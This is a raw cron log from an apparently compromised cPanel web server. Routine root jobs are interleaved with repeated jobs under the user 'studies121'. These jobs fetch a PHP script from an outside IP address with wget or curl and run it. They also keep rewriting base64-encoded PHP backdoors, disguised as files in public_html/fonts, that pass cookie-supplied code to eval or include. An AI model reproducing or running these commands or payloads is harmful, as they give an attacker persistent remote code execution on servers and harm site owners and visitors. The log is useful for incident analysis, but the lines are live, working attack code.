Sep 12 11:20:01 ip-184-168-122-23 CROND[16263]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 11:20:01 ip-184-168-122-23 CROND[16268]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 11:21:01 ip-184-168-122-23 CROND[16370]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 11:21:01 ip-184-168-122-23 CROND[16373]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:21:01 ip-184-168-122-23 CROND[16372]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 11:21:01 ip-184-168-122-23 CROND[16374]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:22:01 ip-184-168-122-23 CROND[16469]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 11:22:01 ip-184-168-122-23 CROND[16471]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 11:22:01 ip-184-168-122-23 CROND[16473]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:22:01 ip-184-168-122-23 CROND[16472]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 11:22:01 ip-184-168-122-23 CROND[16474]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:23:01 ip-184-168-122-23 CROND[16676]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:23:01 ip-184-168-122-23 CROND[16678]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 11:23:01 ip-184-168-122-23 CROND[16679]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 11:23:01 ip-184-168-122-23 CROND[16681]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:24:01 ip-184-168-122-23 CROND[16760]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 11:24:01 ip-184-168-122-23 CROND[16763]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 11:24:01 ip-184-168-122-23 CROND[16765]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:24:01 ip-184-168-122-23 CROND[16762]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:24:01 ip-184-168-122-23 CROND[16764]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 11:25:01 ip-184-168-122-23 CROND[16866]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 11:25:01 ip-184-168-122-23 CROND[16869]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 11:25:01 ip-184-168-122-23 CROND[16871]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 11:25:01 ip-184-168-122-23 CROND[16870]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:25:01 ip-184-168-122-23 CROND[16872]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:25:01 ip-184-168-122-23 CROND[16874]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 11:26:01 ip-184-168-122-23 CROND[16984]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 11:26:01 ip-184-168-122-23 CROND[16986]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 11:26:01 ip-184-168-122-23 CROND[16987]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:26:01 ip-184-168-122-23 CROND[16988]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 11:26:01 ip-184-168-122-23 CROND[16989]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:27:01 ip-184-168-122-23 CROND[17082]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 11:27:01 ip-184-168-122-23 CROND[17086]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:27:01 ip-184-168-122-23 CROND[17085]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:27:01 ip-184-168-122-23 CROND[17084]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 11:28:01 ip-184-168-122-23 CROND[17267]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 11:28:01 ip-184-168-122-23 CROND[17269]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:28:01 ip-184-168-122-23 CROND[17271]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 11:28:01 ip-184-168-122-23 CROND[17268]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:28:01 ip-184-168-122-23 CROND[17270]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 11:29:01 ip-184-168-122-23 CROND[17376]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 11:29:01 ip-184-168-122-23 CROND[17379]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:29:01 ip-184-168-122-23 CROND[17381]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:29:01 ip-184-168-122-23 CROND[17380]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 11:30:01 ip-184-168-122-23 CROND[17488]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:30:01 ip-184-168-122-23 CROND[17490]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 11:30:01 ip-184-168-122-23 CROND[17491]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:30:01 ip-184-168-122-23 CROND[17494]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 11:30:01 ip-184-168-122-23 CROND[17493]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 11:30:01 ip-184-168-122-23 CROND[17497]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 11:30:01 ip-184-168-122-23 CROND[17492]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 11:30:01 ip-184-168-122-23 CROND[17495]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 11:31:01 ip-184-168-122-23 CROND[17602]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 11:31:01 ip-184-168-122-23 CROND[17604]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:31:01 ip-184-168-122-23 CROND[17605]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:31:01 ip-184-168-122-23 CROND[17609]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 11:31:01 ip-184-168-122-23 CROND[17610]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 11:32:01 ip-184-168-122-23 CROND[17700]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 11:32:01 ip-184-168-122-23 CROND[17702]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 11:32:01 ip-184-168-122-23 CROND[17705]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 11:32:01 ip-184-168-122-23 CROND[17703]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:32:01 ip-184-168-122-23 CROND[17704]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:33:01 ip-184-168-122-23 CROND[17880]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
